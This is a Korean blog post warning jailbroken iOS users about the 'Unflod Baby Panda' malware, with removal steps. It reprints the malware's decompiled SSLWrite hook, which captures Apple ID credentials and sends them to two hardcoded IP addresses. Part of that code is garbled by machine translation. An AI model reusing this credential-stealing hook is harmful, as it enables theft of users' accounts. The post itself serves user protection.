본문 바로가기
유용한정보/IT뉴스와 동향

시디아 이용주의- 탈옥 iOS기기 대상 악성코드 발견

by 마쑤 2014. 4. 23.
반응형

탈옥 iOS기기를 대상으로하는 악성코드(멜웨어,Malware)가 중국에서 발견되었습니다 www.sektioneins.de의 iOS Malware Campaign "Unflod Baby Panda" 이라는 제목의 글(원문출처 번역보기)에서 공개한 이 악성코드는 탈옥된 애플기기의 모든프레세스에서 애플ID,비밀번호등의 정보를 훔쳐내어 중국인으로 보이는이가 소유한 미국의 호스팅계정으로 자동전송하는 악성코드입니다

(악성코드의 이름에 맞게 선택했겠지만..너무 귀여운 판다 이미지를 사용했네요..)

다른지역에서는 아직 발견되지 않았지만 이런 악성코드의 특성을 감안한다면 탈옥해서 사용하시는분들은 당분간 시디아(Cydia)에서 어플이나 소스설치를 자제하셔야 할것입니다  

원문에는 없지만 32bit iOS가 설치된 애플기기들을 대상으로 한다니 아이폰5s,아이패드 에어,아이패드 미니 레티나는 이 악성코드에서는 안전하다고 합니다 


해당되는분들이 있을 가능성은 매우 낮지만 탈옥을 유지하면서 해당 악성코드가 있는지 확인하는 방법은 아래 악성코드의 경로에 파일이 존재하는지 확인하고 파일을 삭제하고 애플ID의 비밀번호를 변경하시면 됩니다만 확실히 안전한 방법은 아닙니다 가장 좋은 방법은 탈옥을 풀고 정식 iOS로 복원입니다 


삭제할 파일명과 파일경로 

/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib (혹은 framework.dylib)


아래는 출처에서 게시된 악성코드의 코드 전문입니다 중간에 애플ID와 비밀번호를 탈취하는 부분이 있습니다 


INT  __fastcall  replace_SSLWrite ( INT  A1 ,  문자  *의 A2 ,  INT의  A3 ,  INT의  A4 ) 
{ 
  INT의  V4 ,  / / R3 @ 11
   INT  ​​V5 ,  / / ST28_4 14 @
   size_t와  V6 ;  / / ST24_4 14 @
   INT  2013 ;  / / ST10_4 18 @
   size_t와  V8 ,  18 @ / / ST0C_4
   구조체  SOCKADDR의  V10 ,  / / [SP +40 H] @ 16 [BP-60H]
   ssize_t의  V11 ,  / / [SP +50 H] 14 @ [BP-50H]
   INT  V12 ;  / / [SP +54의 H] 14 @ [BP-4 채널]
   구조체  SOCKADDR의  V13 ,  / / [SP +58 H] @ 12 [BP-48H]
   ssize_t의  V14 ,  10 @ / / [SP +68 H] [BP-38H]
   INT의  V15 ,  / / [SP +6 CH] @ 10 [BP-34H]
   문자  *의 V16 ,  / / [SP +70 H] [BP-30H] 7 @
   문자  *의 V17 ,  / / [SP +74 H] [BP-대하] 5 @
   문자  * V18 ;  / / [SP +78 H] 5 @ [BP-28H]
   문자  *의 V19 ,  2 @ / / [SP +7 채널] [BP-24]
   INT  V20 ;  / / [SP +80 H] [BP-20H] @ 1
   INT  ​​V21 ,  / / [SP +84 H] 1 @ [BP-1 채널]
   문자  *의 V22 ,  1 @ / / [SP +88 H] [BP-18H]
   INT  V23 ;  / / [SP +8 CH] [BP-14H ] @ 1
   INT  ​​V24 ,  11 @] / / [SP의 +90의 H [BP-10H]
   INT  V25 ;  / / [SP +94 H] [bp-Ch]@1
 
  v25  =  __stack_chk_guard ; 
  v23  =  a1 ; 
  v22  =  a2 ; 
  v21  =  a3 ; 
  v20  =  a4 ; 
  if  (  ! findhead  ) 
  { 
    v19  =  strstr ( v22 ,  "/WebObjects/MZFinance.woa/wa/authenticate HTTP/1.1" ); 
    if  (  v19  ) 
    { 
      findhead  =  1 ; 
      strcpy ( content ,  v22 ); 
    } 
  } 
  if  (  findhead  ==  1  ) 
  { 
    v18  =  strstr ( v22 ,  "<key>appleId</key>" ); 
    v17  =  strstr ( v22 ,  "<key>password</key>" ); 
    if  (  v18  ) 
    { 
      if  (  v17  ) 
      { 
        strcat ( content ,  v22 ); 
        v16  =  strstr ( content ,  "</plist>" ); 
        if  (  v16  &&  v16  -  content  <=  2040  ) 
          v16 [ 8 ]  =  0 ; 
        v14  =  0 ; 
        v15  =  socket ( 2 ,  1 ,  0 ); 
        if  (  v15  <  0  ) 
        { 
          v24  =  pSSLWrite ( v23 ,  v22 ,  v21 ,  v20 ); 
          goto  LABEL_20 ; 
        } 
        v13 . sa_family  =  2 ; 
        * ( _WORD  * ) & v13 . sa_data [ 0 ]  =  0xC61Eu ; 
        * ( _DWORD  * ) & v13 . sa_data [ 2 ]  =  inet_addr ( "23.88.10.4" ); 
        if  (  connect ( v15 ,  & v13 ,  0x10u )  <  0  ) 
        { 
          close ( v15 ); 
          v24  =  pSSLWrite ( v23 ,  v22 ,  v21 ,  v20 ); 
          goto  LABEL_20 ; 
        } 
        v5  =  v15 ; 
        v6  =  strlen ( content ); 
        v14  =  write ( v5 ,  content ,  v6 ); 
        v11  =  0 ; 
        close ( v15 ); 
        v12  =  socket ( 2 ,  1 ,  0 ); 
        if  (  v12  <  0  ) 
        { 
          v24  =  pSSLWrite ( v23 ,  v22 ,  v21 ,  v20 ); 
          goto  LABEL_20 ; 
        } 
        v10 . sa_family  =  2 ; 
        * ( _WORD  * ) & v10 . sa_data [ 0 ]  =  0xC61Eu ; 
        * ( _DWORD  * ) & v10 . sa_data [ 2 ]  =  inet_addr ( "23.228.204.55" ); 
        if  (  connect ( v12 ,  & v10 ,  0x10u )  <  0  ) 
        { 
          close ( v12 ); 
          v24  =  pSSLWrite ( v23 ,  v22 ,  v21 ,  v20 ); 
          goto  LABEL_20 ; 
        } 
        v7  =  v12 ; 
        v8  =  strlen ( content ); 
        v11  =  write ( v7 ,  content ,  v8 ); 
        close ( v12 ); 
        findhead  =  2 ; 
      } 
    } 
  } 
  v24  =  pSSLWrite ( v23 ,  v22 ,  v21 ,  v20 ); 
LABEL_20: 
  if  (  __stack_chk_guard  !=  v25  ) 
    __stack_chk_fail ( __stack_chk_guard ,  v24 ,  v25 ,  v4 ); 
  return  v24 ; 
}


댓글